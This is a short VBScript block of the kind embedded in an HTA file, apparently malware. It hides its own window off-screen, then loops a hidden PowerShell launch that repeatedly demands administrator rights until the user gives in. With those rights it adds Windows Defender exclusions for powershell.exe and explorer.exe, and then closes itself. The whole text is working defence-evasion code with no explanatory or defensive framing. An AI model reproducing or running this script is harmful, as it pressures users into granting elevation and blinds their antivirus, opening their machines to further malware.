<script language="VBScript">
    Window.ReSizeTo 0, 0
    Window.MoveTo -4000, -4000
    Dim ForceAdmin
    Set ForceAdmin = CreateObject("WScript.Shell")
    elevate="powershell -command ""while($true){try{Start-Process 'powershell' -Verb runas -WindowStyle Hidden -ArgumentList 'Add-MpPreference -ExclusionProcess powershell.exe; Add-MpPreference -ExclusionProcess explorer.exe;';exit}catch{}}"""
    ForceAdmin.Run elevate, 0, false
    self.close()
</script>
